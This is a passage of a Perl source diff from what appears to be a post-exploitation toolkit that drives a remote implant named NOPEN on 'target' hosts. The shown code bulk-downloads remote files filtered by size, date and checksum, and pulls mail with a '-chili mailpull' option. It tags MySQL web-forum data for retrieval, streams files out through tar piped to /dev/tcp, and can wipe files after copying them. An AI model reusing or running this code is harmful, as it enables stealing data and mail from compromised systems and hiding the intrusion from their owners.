$oneperline,$lslist,$forcereget,$wipeafter,$withoutprompt, + $resumeifpartial,$didsomeresumes,$stopdate,$skipdupes,$getlocaldir, + @gotfiles,$chiliopts,%chilidirs,$viatar,$viataroutput,$oldlocaldir, + ) = (); + my $whichrm = ""; + # We null out options if it starts with '/' + #dbg("in nopengetfiles(@_)\n\noptions=$options= newoptions=$newoptions="); + dbg("nopengetfiles options=$options="); + + if ($options =~ /(GETPRESERVETIME)/) { + $getpreservetime = $1; + $options =~ s/GETPRESERVETIME//g; +dbg("GETPRESERVETIME=$getpreservetime"); + } + if ($options =~ /OLDLOCALDIR(.*)OLDLOCALDIR/) { + $oldlocaldir = $1; + $options =~ s/OLDLOCALDIR.*OLDLOCALDIR//g; +dbg("OLDLOCALDIR=$oldlocaldir"); + } + if ($options =~ /GETVIATAR(\d+)VIATAR/) { + $viatar = $1; + $options =~ s/GETVIATAR\d+VIATAR//g; + } + if ($options =~ /CHILI(.*)CHILI/) { + $chiliopts = $1; + $options =~ s/CHILI.*CHILI//g; + } + if ($options =~ /STOPDATE(\d\d\d\d\d\d\d\d)/) { + # Note: $stopdate is YYYYMMDD so numeric sortable + $stopdate = $1; + $options =~ s/STOPDATE(\d\d\d\d\d\d\d\d)//; + } + if ($options =~ /SKIPDUPES/) { + ($skipdupes) = $options =~ /(SKIPDUPES(NOCOPY){0,1})/; + $options =~ s/SKIPDUPES(NOCOPY){0,1}//g; + } + if ($options =~ /NOBUILTINRM/) { + $options =~ s/NOBUILTINRM//g; + $whichrm = "NOBUILTINRM"; + } + + if ($options =~ m,GETL(.+)LOCALDIR,) { + $getlocaldir = $1; + $options =~ s,GETL.*OCALDIR,,g; + $newoptions .= " -l"; + } + if ($options =~ /LISTIS-ls/) { + $lslist = @list; + $options =~ s/LISTIS-ls//; + } + + if ($options =~ /WIPEAFTER/) { + $wipeafter = 1; + $options =~ s/WIPEAFTER//; + } + ($withoutprompt) = $options =~ /(WITHOUTPROMPT)/; + $options =~ s/WITHOUTPROMPT//; + if ($options =~ /FORCEREGET/) { + $forcereget = 1; + $options =~ s/FORCEREGET//; + } + if ($options =~ /RESUMEIFPARTIAL/) { + $resumeifpartial = 1; + $options =~ s/RESUMEIFPARTIAL//; + } + if ($options =~ /TAILBYTES/) { + $tailbytes = 1; + $options =~ s/TAILBYTES//; + } + if ($options =~ /HEADBYTES/) { + $headbytes = 1; + $options =~ s/HEADBYTES//; + } + if ($options =~ /TAILLINES=(\d+)/) { + $taillines=$1; + $options =~ s/TAILLINES=\d+//; + } + if ($options =~ /GETZERO=(\d+)/) { + $getempty=$1; + $checkzero=$getempty; + $options =~ s/GETZERO=\d+//; + } + if ($options =~ /MAXDOWNLOAD=(\d+(\.[\d]+){0,1})/) { + $maxdownload = $1 if $1 > 0; + $options =~ s/MAXDOWNLOAD=[\.\d]+//; + } + if ($options =~ /SIZEMAX=(\d+)/) { + $maxsize = $1; + if ($maxsize > 0) { + $checksize=1; + } + $options =~ s/SIZEMAX=\d+//; + } else { + # We ignore TAILBYTES if SIZEMAX is not set + $tailbytes=0; + } + if ($options =~ /SIZEMIN=(\d+)/) { + $minsize = $1; + if ($minsize > 0) { + $checksize=1; + } + $options =~ s/SIZEMIN=\d+//; + } + if ($options =~ /POPUP/) { + $options =~ s/POPUP//; + $newoptions .= " -v"; + } + if ($options =~ /ONEPERLINE/) { + $options =~ s/ONEPERLINE//; + $oneperline++; + } + if ($options =~ /-LOUD/) { + $options =~ s/-LOUD//; + } else { + $newoptions .= " -q"; + } + $resumeifpartial = 0 if $chiliopts; + if ($options) { + @list = ($options,@list); + $options = ""; + } + @list = uniqify_array(@list); + $newoptions =~ s/^\s*//; + $newoptions =~ s/\s+/ /; +#dbg("Here lslist=$lslist="); + $nopenlines = $stopdate if $stopdate; + if ($lslist) { + processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@list) ; +# offerabort( +# "list has\n". +# join("\n",@list)."\n\n". +# scalar @list." entries\n". +# "secondtime=$secondtime=". + +# "newlist has\n". +# join("\n",@newlist)."\n\n". +# scalar @newlist." entries\n". +# "DBG: WAITING HERE"); + @list=(); + } + + my $maxcmdlength = $nopenmaxcommandlength; + $maxcmdlength -= 15 if $chiliopts; + $maxcmdlength = 950 if ($viatar and $solaristarget); + while (@list or @newlist) { + last if (-f $forcelssstop); + + my ($list,@touchlist) = (); + unless (@list) { + @list = @newlist; + @newlist = (); + $secondtime++; + @nopengotfiles = (); # Set this global to nil, about to start downloads + } + while (@list) { + last if (-f $forcelssstop); + if ($maxdownload and $secondtime) { + # Shorten our commands if we are getting close to our cap, + # but only on our second (-get) pass, not on the -ls pass. + $maxcmdlength = 250 if ((bwsofar())[0]/$maxdownload > 0.85); + } + my $newone = shift @list; + my $newone2 = $newone; + $newone2 =~ s,\[,\\\\[,g; + $newone2 =~ s,\],\\\\],g; + # if ($lslist) { + # $newone = $2 +# if ($newone =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*), or +# $newone =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*), or +# $newone =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*), +# ); +# } +dbg(" + +list=$list= +maxdownload=$maxdownload +maxcmdlength=$maxcmdlength +oneperline=$oneperline +filesizes{newone=$newone}=$filesizes{$newone}= +tailbytes=$tailbytes +headbytes=$headbytes +skipdupes=$skipdupes= +maxsize=$maxsize +checksize=$checksize +secondtime=$secondtime +bwsofar=".(bwsofar())[0]."\n\n". +""); + next if $newone =~ /^\s*$/; + if (!$chiliopts and $secondtime and defined $filesizes{$newone}) { + # Pull remainder of partial files if we already have a smaller copy, + # Combine the results. + my ($gotindown,$gotinrsync,$filename, + $sizematch,$sizediff) = gotlocalcopy($newone,$getlocaldir,$targetcwd); + +# dbg("HERE + +#HERE + +#newone=$newone= +#newone2=$newone2= + +#(\$gotindown,\$gotinrsync,\$filename,\$sizematch,\$sizediff) = gotlocalcopy($newone)== +#($gotindown,$gotinrsync,$filename,$sizematch,$sizediff) = + + + +#"); + my $localfile = ""; + $localfile = $gotindown if $gotindown; + if ($gotinrsync) { + if ($gotindown and (-s $gotinrsync > -s $gotindown)) { + $localfile = $gotinrsync; + } + } + if ($localfile and + $sizediff > 0 and + $resumeifpartial and + !($checksize and + $tailbytes and + ($maxsize > 0 and + $filesizes{$newone} > $maxsize) + )) { + # Handle the -oget to get remainder of file + my $offset = $filesizes{$newone} - $sizediff; + preservefile("$localfile.partial"); + rename($localfile,"$localfile.partial"); + my ($output,$nopenlines,@lines) = + doit("-oget -b $offset $newone2"); + my ($newlocalfile) = $output =~ / -. (\/.*)[\r\n]*/ ; + $newlocalfile =~ s,current/[^/]+/../down,current/down,; + $newlocalfile =~ s,/+,/,g; + preservefile("$newlocalfile.oget-last-$sizediff-bytes"); + rename($newlocalfile,"$newlocalfile.oget-last-$sizediff-bytes"); + `cat "$localfile.partial" "$newlocalfile.oget-last-$sizediff-bytes" > "$newlocalfile" ; touch -r "$newlocalfile.oget-last-$sizediff-bytes" "$newlocalfile"`; + progprint + (my $str = + "$COLOR_NORMAL\n\n". + "Done with partial -oget of this file, new version created from\n". + "previous partial file and this pull of $sizediff bytes.\n". + "Partial files remain in $opdown next to complete file:\n\n". + $COLOR_FAILURE. +# "ls -alrt $localfile*\n". + `ls -alrt "$localfile"*` + ); + $str =~ s/Done with/Completed/; + $didsomeresumes .= $str; + } + if ($checksize) { + if ($tailbytes) { + if ($maxsize > 0 and $filesizes{$newone} > $maxsize) { + # Handle the -oget to get partial file + my $offset= $filesizes{$newone} - $maxsize; + my ($output,$nopenlines,@lines) = + doit("-oget -b $offset $newone2"); + my ($locfile) = $output =~ + m,$newone2 -- (.*$newone2)\n,; + $locfile =~ s,current/[^/]+/../down,current/down,; + my ($previous) = preservefile("$locfile.tail"); + rename($locfile,"$locfile.tail"); + my $more = "\n(Previous copy renamed to $previous)"; + progprint("Partial file renamed to:\n". + "$locfile.tail",$COLOR_WARNING); + next; + } + } elsif ($headbytes) { + if ($maxsize > 0 and $filesizes{$newone} > $maxsize) { + # Handle the -oget to get partial file + my ($output,$nopenlines,@lines) = + doit("-oget -b 0 -e $maxsize $newone2"); + my ($locfile) = $output =~ + m,$newone2 -- (.*$newone2)\n,; + $locfile =~ s,current/[^/]+/../down,current/down,; + my ($previous) = preservefile("$locfile.head"); + rename($locfile,"$locfile.head"); + my $more = "\n(Previous copy renamed to $previous)"; + progprint("Partial file renamed to:\n". + "$locfile.head",$COLOR_WARNING); + next; + } + } else { + next if ($maxsize > 0 and + $filesizes{$newone} > $maxsize); + } + next if ($minsize > 0 and + $filesizes{$newone} < $minsize); + } + next if (!$getempty and $filesizes{$newone} == 0); + } +#dbg("Past size check list=$list="); + # ASSERT: If $secondtime, then we are pulling $newone + # (once $list is big enough) + if ($secondtime) { + push(@nopengotfiles,$newone); + push(@ourfilespulled,$newone) if @ourfilespulled; + } + my $thiscmd = "-get $newoptions $list $newone2"; + my $chilidir = dirname($newone2); + my $chiliname = basename($newone2); + if ($chiliopts) { + $list = $chilidirs{$chilidir}; + $thiscmd = "\\-chili $chiliopts $chilidir $chilidirs{$chilidir} $name"; + } + if ($list and + ( + (length $thiscmd > $maxcmdlength) or + ($secondtime and $oneperline) + ) + ) { + if (!$secondtime and ($checksize or $getempty)) { +# dbg("Calling0: doit(-ls -R $list) ;"); + my ($output,$nopenlines,@lines) = (); + ($output,$nopenlines,@lines) = doit("-ls -R $list"); + processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@lines) ; + } else { + last if ($maxdownload and ((bwsofar())[0] >= $maxdownload)); +#dbg("Getting: + + +#wipeafter=$wipeafter= +#withoutprompt=$withoutprompt= + +#"); + if ($chiliopts) { + doit("\\-chili $chiliopts $chilidir $chilidirs{$chilidir}"); + delete $chilidirs{$chilidir} ; + } elsif ($viatar) { + if ($viataroutput) { + #TODO: Can check tar output here before continuing make sure we are not messed up + #offerabort("YO: output=$viataroutput="); + } + mydie("Local LISTENER on $viatar not there after 30 seconds, aborting") + unless waitonlocalport($viatar,30); + if ($solaristarget) { + ($viataroutput) = doit("ksh -c \"tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar\""); + } else { + ($viataroutput) = doit("tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar"); + } + #TODO: Check this output for errors? + } else { + if ($getpreservetime) { + filetimesave(@touchlist); + } + doit("-get $newoptions $list") ; + if ($getpreservetime) { + filetimeresets(@touchlist); + } + } + offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@gotfiles) if $wipeafter; + } + (@gotfiles,$list) = (); + } + my ($gotindown,$gotinrsync,$filename) = gotlocalcopy($newone,$getlocaldir,$targetcwd);#gotlocalcopy($newone); + unless (($gotindown or $gotinrsync) and !$forcereget) { + if ($skipdupes) { + ($cksum) = doit("cksum $newone2"); + $cksum =~ s,(\d+)\s+(\d+).*,$1 $2,g; + chomp($cksum); + if ($host_cksums{$cksum}) { + my $srcfile = "$opdown/$nopen_rhostname/$host_cksums{$cksum}"; +dbg(" Is srcfile there still? +srcfile=$srcfile= + +".`ls -al "$srcfile"`); + if (-f $srcfile) { + my $newfile = "$opdown/$nopen_rhostname/$newone2"; + my $newdir = dirname($newfile); + if ($skipdupes =~ /NOCOPY/) { + progprint($COLOR_FAILURE. + "Duplicate target file already retrieved,\n". + "-0 is set so skipping local copy, these pastables will make it if you decide to later:\n\n". + $COLOR_NORMAL. + "-lsh mkdir -pv \"$newdir\"\n". + "-lsh cp -pv \"$srcfile\" \"$newfile\"\n". + ""); + } else { + progprint($COLOR_FAILURE. + "Duplicate target file already retrieved, making local copy:\n\n". + $COLOR_NORMAL. + "# mkdir -pv \"$newdir\"\n". + `mkdir -pv "$newdir"`. + "# cp -pv \"$srcfile\" \"$newfile\"\n". + `cp -pv "$srcfile" "$newfile"`. + ""); + } + next; + } + } + newhostvar("host_cksums{$cksum}",$newone2); + } + push(@gotfiles,$newone); + if ($chiliopts) { + $chilidirs{dirname($newone2)} .= " ".basename($newone2); + } else { + $list .= " $newone2"; + push(@touchlist,$newone2) if $getpreservetime; + } + } + } + last if (-f $forcelssstop); + if ($list or %chilidirs) { + if (!$secondtime and ($checksize or $getempty)) { + my ($output,$nopenlines,@lines) = (); + # if ($lslist) { + # @lines = @lslist; + # } else { + # ($output,$nopenlines,@lines) = doit("-ls -R $list"); + # } + ($output,$nopenlines,@lines) = doit("-ls -R $list"); + processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@lines) ; + # dbg("Bottom of outer loop if ($list) with ". + # " newlist=(@newlist)"); + } else { + last if ($maxdownload and ((bwsofar())[0] >= $maxdownload)); + last if (-f $forcelssstop); + #dbg("Getting: + + + #wipeafter=$wipeafter= + #withoutprompt=$withoutprompt= + + #"); + if (%chilidirs) { + foreach my $chilidir (keys %chilidirs) { + doit("\\-chili $chiliopts $chilidir $chilidirs{$chilidir}"); + delete $chilidirs{$chilidir} ; + } + } elsif ($viatar) { + mydie("Local LISTENER on $viatar not there after 30 seconds, aborting") + unless waitonlocalport($viatar,30); + if ($solaristarget) { + ($viataroutput) = doit("ksh -c \"tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar\""); + } else { + ($viataroutput) = doit("tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar"); + } + #TODO: Check this output for errors? + } else { + if ($list) { + if ($getpreservetime) { + filetimesave(@touchlist); + } + doit("-get $newoptions $list") ; + if ($getpreservetime) { + filetimeresets(@touchlist); + } + } + offerwipe("${withoutprompt}CONFIRMSIZE",@gotfiles) if $wipeafter; + } + } + } + } + #dbg("nopengotfiles=(\n".join("\n",@nopengotfiles)."\n)"); + #dbg("ourfilespulled=(\n".join("\n",@ourfilespulled)."\n)"); +# NOTHING WAS USING THIS BEFORE: + + if ($chiliopts and !$oldlocaldir and %chilidirs) { + my $more = " ./".join("\n ./",keys %chilidirs); + + my ($ans) = mygetinput + ("Your -chili mailpull went to $opdown/$nopen_rhostname/\n". + "in these relative paths:\n\n". + $more. + "Do you want $prog to move these files to $opmail?","Y"); + if ($ans = "y") { + my $results = ""; + foreach my $maildir (%chilidirs) { + $results .= `mv -v $maildir $opmail 2>&1` ; + } + mygetinput("DONE MOVING THESE:\n\n$results\n\n". + "Press Enter to continue") if $results; + } + } + + return scalar @gotfiles; +# return scalar $tailedsome; +}#nopengetfiles() + +sub processnopenls { + # Given array @$listptr, + # a boolean $getempty, + # a positive $max size (ignored if negative) + # and doit() output from a -ls (recursive or otherwise), + # + # we put filenames into @$listptr + # only when nonemtpy unless $getempty==true + # only when their size is at most $max (ignoring size if $max < 0) + # (ignoring all LINKS). + # All files are tasked if $max is 0. + # RETURNS: Total size of all targets fitting criteria. + local ($listptr,$capsize,$getempty,$max,$lsoutput,$nopenlines,@lsoutput) = (@_); + my $stopdate = $nopenlines if ($nopenlines =~ /^\d{8}$/); + + my $totalsize = 0; + #dbg("in processnopenls($listptr,$capsize,$getempty,$max,$lsoutput,$nopenlines,lines=".scalar @lsoutput."\n\n\n(($lsoutput)) + #lsoutput=(@lsoutput) + #stopdate=$stopdate= + + #"); + foreach my $line (@lsoutput) { + #dbg("line=$line="); + $line =~ s/^\s*//g; + $line =~ s,\033\[0;39m,,g; + $line =~ s,\033\[2;31m,,g; + my ($type,$inodes,$user,$group,$size,$monstr, + $mday,$hm,$y,$filename,@morefilename) + = split (/\s+/,$line); + $filesizes{$filename} = $size; + $filedates{$filename} = "$y$mon$mday"; +#JAN 2013: Maybe too much memory? TODO +# $fileperms{$filename} = $type; +# $filetypes{$filename} = substr($type,0,1); +# $filetypes{$filename} = 'f' if $filetypes{$filename} eq '-'; + my $mon=sprintf("%02d",1+$nummon{$monstr}); + $mday=sprintf("%02d",$mday); + $y = sprintf("%04d",$y); + if (@morefilename) { + # Filename has spaces in it, escape them + $filename .= "\\ ".join("\\ ",@morefilename); + } + my ($h,$m) = split(/:/,$hm); + #offerabort(" + # my ($type,$inodes,$user,$group,$size,$monstr, + # $mday/cu,$h,$m,$y,$filename) hm=$hm + #"); + $type = substr($type,0,1); + # TODO: MAYBE do links? + # ($filename,$linkedto) = $filename =~ /(.*) -\. (.*)[\r\n]*/; + #dbg("type=$type Checking if ($size <= $max) {"); + next unless ($type eq "-"); + # dbg("type=$type filename=$filename= size=$size max=$max getempty=$getampty"); + if ($targetcwd =~ m,^/, and + $filename !~ m,^/,) { + my $newpath = "$targetcwd/$filename"; + $newpath =~ s,/+,/,g; + $newpath =~ s,/\./,/,g; + $newpath =~ s,/[^/]+/\.\./([^/]+),/$1,g; + $filesizes{$newpath} = $size; + $filedates{$newpath} = "$y$mon$mday"; + } +#dbg("Got file=$filename= +#size=$size= +#targetcwd=$targetcwd= +#ymonmday=$y$mon$mday= +#filesizes{$filename}=$filesizes{$filename}= +#filedates{both $filename andmaybe $targetcwd/$filename} =$y$mon$mday= + +#"); + # If called without $listptr, we just want to set the $filesizes{} entries. + next unless $listptr; + # We only put the file in if ALL of these true + # 1) We are pulling empty files or this file is non-empty AND + # 2) Either this file is below our $max or there is no $max size AND + # 3) Either $stopdate is not set or this $filedates{$filename} lt $stopdate + if (($size <= $max or $max <= 0 or $capsize > 0) and + ($getempty or $size > 0) and + (!$stopdate or $filedates{$filename} le $stopdate) + ) { + #dbg("Pushing push(@$listptr,$filename);"); + push(@$listptr,$filename) ; + if ($capsize) { + $size = $max if $max < $size; + } + $totalsize += int($size); + } + } + return $totalsize; +}#processnopenls() + +sub nopenlss { + + # nopenlss(): Wrapper to NOPEN builtin -ls, adding some filtering and + # counting options. Can be called as a function, which will allow + # autodone to be made more automated. + # This subroutine has to use the main::@ARGV global so it can call + # getopts. If no local @_ is given, we use @ARGV. This is how + # autolss will call nopenlss(), replacing the older style automation + # autolss used to use. + # NEW: -Q/quiet option does not show sorting, but returns it like doit(): + # my ($output,$nopenlines,@output) = nopenlss(); + + mydie("Cannot use nopenlss() unless \$socket is open") + unless defined $socket and $pilotstarted; + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport) + = parsestatus(); +# local($suboptionsandpaths,@morepaths) = (@_); + my ($ouropts,$sum,$outfile,$warnings,$morefile,@files,@allfiles, + $sizeoutput,$outmore,$preserved,$lsoptions,@resetargv, + $lssoutput,$lssnopenlines,@lssoutput,@longerlssoutput, + $cmdoutfile,$extra1,$skippedgot,@skippedgot,$moregreps, # $skippedgot is populated whether -G or not + %exprspositive,%exprsnegative, + $datematch,%datestamp, + @wipethesehere,$withoutprompt, + $cksum,$completingpartial,$sumadjustment,$skipdupes, + $viatar,$lsstarproc, + $getlocaldir,$oldlocaldir, + $nosendpath,$nosendpathdir,$nosendmysqlforumtag, + ) = (); + #dbg("Before ARGV=@ARGV= _=@_="); + # Must use the global @ARGV for Getopts to see it + if (@_) { + @resetargv=@ARGV; + @ARGV=@_; + $resetargv++; + } + dbg("After ARGV=@ARGV= _=@_="); +# my @ARGV = (@_); +#dbg("DEFINING SIG{__WARN__}"); + BEGIN { $SIG{'__WARN__'} = + sub { + #dbg("In WARN_Sub(@_)"); + $warnings .= "@_\n"; + } + } +# ( "zf:FD1ichuRtx:L" ) ; # old way: ( "zf:hFS" ) ; + clearallopts(); + my @preoptsargv = @ARGV; + my ($moresqlargs,$moresql) = "@preoptsargv" =~ m,^([^/]+)(.*),; + $moresqlargs = "-gs lss $moresqlargs"; + $moresql =~ s, /,\n $moresqlargs /,g; + $moresql = $moresqlargs . $moresql; + Getopts( "zf:Fdn1ichuRtx:QaGM:ZYO:m:rT:g:V:b:oUPwWl:s:E:DNHpL:S:kAKC:45:80q" ) ; + mydie("You can only tag MYSQL forums one at a time, run one -gs lss per directory, e.g.:\n\n ". + $moresql + ) + if ($opt_q and @ARGV > 1); + $opt_G++ if $opt_L; # -L implies -G + ($nosendpath,$nosendpathdir) = ($1,$2) if ($opt_L =~ m,^(NOSEND(.*)),); + $nosendpathdir =~ s,/+,/,g; + $nosendpathdir =~ s,/$,,g; + my $recursels = "-R" if $opt_R;# Special to make unique tmpfile + if ($opt_G and $ARGV[0] =~ m,^/+var/+lib/+mysql/+,) { + my ($ans) = mygetinput + ("Do you want to tag $ARGV[0] as a MYSQL web forum?","Y") unless $opt_q; + $opt_q++ if ($ans = "y"); + $nosendmysqlforumtag = "/MYSQLForums" if ($ans = "y" or $opt_q); + my $thispath = $ARGV[0]; + $thispath =~ s,/+,/,g; + $thispath =~ s,/$,,g; + if ($opt_L) { + if ($opt_L =~ m,(/.*),) { + + } + if ($thispath ne $nosendpathdir) { + my ($ans) = mygetinput + ("Normally the local directory when recursively pulling a single PATH from /var/lib/mysql/\n". + "you should use the option \"-LNOSEND$nosendmysqlforumtag$thispath\".\n\n". + "Is that what you want to do (answer Y, n or abort)?","Y","A","ABORT" + ) unless $opt_q; + $opt_L = "NOSEND$nosendmysqlforumtag$thispath" if ($ans eq "y" or $opt_q); + } + } else { + #TODO: Ask them to turn on -L + my ($ans) = mygetinput + ("Normally when recursively pulling a single PATH from /var/lib/mysql/\n". + "you should use \"-LNOSEND$nosendmysqlforumtag$thispath\".\n\n". + "Is that what you want to do (answer Y, n or abort)?","Y","A","ABORT" + ) unless $opt_q; + mydie("User aborted") if ($ans eq "a"); + if ($ans eq "y" or $opt_q) { + $opt_L = "NOSEND$nosendmysqlforumtag$thispath"; + mydie("You must do each /var/lib/mysql PATH separately so each gets its own\n". + "-LNOSEND$nosendmysqlforumtag/PATH/. Run separate commands, one per directory.") + if (@ARGV > 1); + } + } + ($nosendpath,$nosendpathdir) = ($1,$2) if ($opt_L =~ m,^(NOSEND(.*)),); + } + + my $getpreservetime = ($opt_G and $opt_8) ? "GETPRESERVETIME" : "" ; +# $opt_F++ if $opt_P; +# dbg("After Getopts ARGV=@ARGV= _=@_="); + my $chiliopts = ""; + if (!$opt_x and $opt_C =~ /-x[mac]\s*\S+/) { + mydie("When using -C with no special arguments, you must put an \"X\" placeholder in after the -C\n"); + } + if ($opt_x) { + my $nextarg = $ARGV[0]; + # Remove long parts of month, if there, in opt_x and $nextarg; + $opt_x =~ s,/,-,g; + $nextarg =~ s,/,-,g; + $opt_x =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)[^-]*,$1,i; + $nextarg =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)[^-]*,$1,i; + + # default to -xm if the [mac] part is missing + my $ltr = "m"; + if ($opt_x =~ s,^([mac]),,) { + $ltr = $1; + unless (length $opt_x) { + $opt_x = $nextarg; + shift @ARGV; + } + } + if ($opt_x =~ + s,^([mac])(\d+|Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+|Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+)$,$2-$3-$4,) { + $ltr = $1; + } + + if ($opt_x !~ /^(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec|\d+)-/i) { + mywarn("Malformed -ls -x[mac] option, starting at: -x$opt_x @ARGV"); + return; + } + + $opt_x = datefix($opt_x); + unless ($opt_x =~ m,^(\d+-\d+-\d\d+)$,) { + mywarn("Argument following -x$ltr must be a date (MM-DD-YYYY)"); + return; + } + $opt_x = "$ltr $opt_x"; + ($datematch) = $opt_x =~ /(\d\d-\d\d-\d\d\d\d)/; + + } + + if ($opt_C) { + my $C = $opt_C; + # Remove spaces, convert / and \ to -. + $C =~ s,\s,,g; + $C =~ s,[/\\],-,g; + + # -l option is optional--user may want to do a mv + # after -lss -C is done + if ($C =~ s,-l,,) { + $opt_L = "$opdown/mailpull/$nopen_rhostname" + unless ($opt_L); + $chiliopts .= "-l"; + } + $C =~ s,x,,i; + # Separate -m or -s digits from date digits +# $C =~ s,-([ms])(\d+)(\d\d)-,-$1$2 $3-,; + while ($C =~ m,-([ms])(\d+),) { + my ($l,$s) = ($1,$2); + if ($C =~ m,-.(\d+)\d\d-,) { + $s = $1; + } + $chiliopts .= " -$l $s"; + $C =~ s,-$l$s\s*,,; + } + mydie("You must use a -x[mac] date with -C/chili option") + unless ($opt_x); + +# $C =~ s,\d+-\d+-\d+,,; + my ($date) = $opt_x =~ /(\d\d-\d\d-\d\d\d\d)/; + $chiliopts .= " $date"; + + mydie("Malformed -chili arguments: -C $opt_C +date=$date= +chiliopts=$chiliopts= +C=$C= +") + unless ($C eq "" and $date); + + # Resuming partial chili not an option, ignore silently + $opt_p++; + # Wiping chili mail? caring about dupes? No, blindly ignore -D and -N and -K and -0 + undef $opt_D; + undef $opt_N; + undef $opt_K; + undef $opt_0; + mydie("-C -chili option requires FULL PATHS to each target file") + if (grep m,^\s*[^/], , @ARGV); + } + + # re-set $SIG{WARN} normal warnings again + BEGIN { $SIG{'__WARN__'} = sub { warn $_[0] } } +# dbg("warnings=$warnings="); + + # $ouropts shown to user in nopenls($ouropts) + $quiet = $opt_Q; + $append = $opt_a; + $skiplsstamp = $opt_k; + if ($opt_K) { + $skipdupes = "SKIPDUPES"; + $skipdupes .= "NOCOPY" if $opt_0; + } + $donotprompt = $opt_Y; + $withoutprompt = "WITHOUTPROMPT" if $opt_N; + + $opt_d++ if $opt_4; + $ouropts .= "4" if $opt_4; + $ouropts .= "5" if $opt_5; + $ouropts .= "a" if $opt_a; + $ouropts .= "A" if $opt_A; + $ouropts .= "D" if $opt_D; + $ouropts .= "F" if $opt_F; + $ouropts .= "G" if $opt_G; + $ouropts .= "h" if $opt_h; + $ouropts .= "H" if $opt_H; + $ouropts .= "k" if $opt_k; + $ouropts .= "K" if $opt_K; + $ouropts .= "N" if $opt_N; + $ouropts .= "o" if $opt_o; + $ouropts .= "p" if $opt_p; + $ouropts .= "P" if $opt_P; + $ouropts .= "Q" if $opt_Q; + $ouropts .= "r" if $opt_r; + $ouropts .= "U" if $opt_U; + $ouropts .= "w" if $opt_w; + $ouropts .= "W" if $opt_W; + $ouropts .= "Y" if $opt_Y; + $ouropts .= "z" if $opt_z; + $ouropts .= "Z" if $opt_Z; + + $ouropts = " -$ouropts" if $ouropts; + + $ouropts .= " -A $opt_A" if $opt_A; + $ouropts .= " -B $opt_B" if $opt_B; + $ouropts .= " -C $opt_C" if $opt_C; + $ouropts .= " -E $opt_E" if $opt_E; + $ouropts .= " -f $opt_f" if $opt_f; + $ouropts .= " -g $opt_g" if $opt_g; + $ouropts .= " -l $opt_l" if $opt_l; + $ouropts .= " -m $opt_m" if $opt_m; + $ouropts .= " -M $opt_M" if $opt_M; + $ouropts .= " -O $opt_O" if $opt_O; + $ouropts .= " -s $opt_s" if $opt_s; + $ouropts .= " -S $opt_S" if $opt_S; + $ouropts .= " -T $opt_T" if $opt_T; + $ouropts .= " -V $opt_V" if $opt_V; + $ouropts .= " -b $opt_b" if $opt_b; + $ouropts .= " -q $opt_q" if $opt_q; + +# NEVERMIND: -B/A for prefix/suffix $opt_B $opt_A + # $lsoptions forwarded onto -ls if we have any + #1ichuRtx: We can stick all but -x[mac] MM-DD-YYYY together + + if ($prog =~ /(auto|-gs )lss/ and ($opt_i or $opt_1)) { + mydie("Do not use -i or -1 with $prog"); + } + if ($opt_1 or $opt_i) { + # Seilently clear these for other things that call nopenlss(), + # they are not to be used with lss. + undef $opt_i; + undef $opt_1; + } + $lsoptions .= "1" if $opt_1; + $lsoptions .= "c" if $opt_c; + $lsoptions .= "d" if $opt_d; + $lsoptions .= "h" if $opt_h; + $lsoptions .= "i" if $opt_i; + $lsoptions .= "n" if $opt_n; + $lsoptions .= "R" if $opt_R; + $lsoptions .= "t" if $opt_t; + $lsoptions .= "u" if $opt_u; + + $lsoptions = " -$lsoptions" if $lsoptions; + mydie("Using -ls option -R with -d makes no sense") + if ($opt_R and $opt_d); + if ($opt_L =~ m,^NOSEND,) { + $opt_L = "$opdown/NOSEND/$nopen_rhostname"; + $opt_L .= $nosendpathdir if ($nosendpathdir =~ m,^/+,) ; + `mkdir -p $opt_L` unless (-d $opt_L); + writefile("APPEND","$opdown/NOSEND/$nopen_rhostname/MYSQLdirs.via-lss","$nosendpathdir\n") + if $nosendmysqlforumtag; + } + ($getlocaldir,$oldlocaldir) = $opt_L; + my $filemore = " (it is a file)" if -f $getlocaldir; + if ($getlocaldir =~ m,^NOSEND(.*),) { + $getlocaldir = "$opdown/NOSEND/$nopen_rhostname"; + $getlocaldir .= $1 if ($1 =~ m,^/.+,); + mydie("Local directory $getlocaldir cannot be made, it exists now as a file") + if (-f $getlocaldir); + `mkdir -p $getlocaldir`; + mydie("Local directory $getlocaldir cannot be made, unknown why") + unless (-d $getlocaldir); + } else { + mydie("Local directory $getlocaldir must exist$filemore") + unless (!$getlocaldir or -d $getlocaldir); + } + mydie("-L $getlocaldir must already exist or start with \"NOSEND\"") + unless (!$getlocaldir or -d $getlocaldir); + my $resumeifpartial = !$opt_p; + my $findinpath = ($opt_P or $opt_w or $opt_W); + my $reusels = !$opt_U; + $reusels = 0 if $findinpath; + my $reusewarning = ""; + my $oneperline = ($opt_K or $opt_o); + mydie("invalid -b option, must be \"tail\" or \"head\"") + if ($opt_b and !(($opt_b eq "tail") or ($opt_b eq "head"))); + my $tailbytes = 1 if ($opt_b eq "tail"); + my $headbytes = 1 if ($opt_b eq "head"); + my $findinpathglob = $opt_w; + my 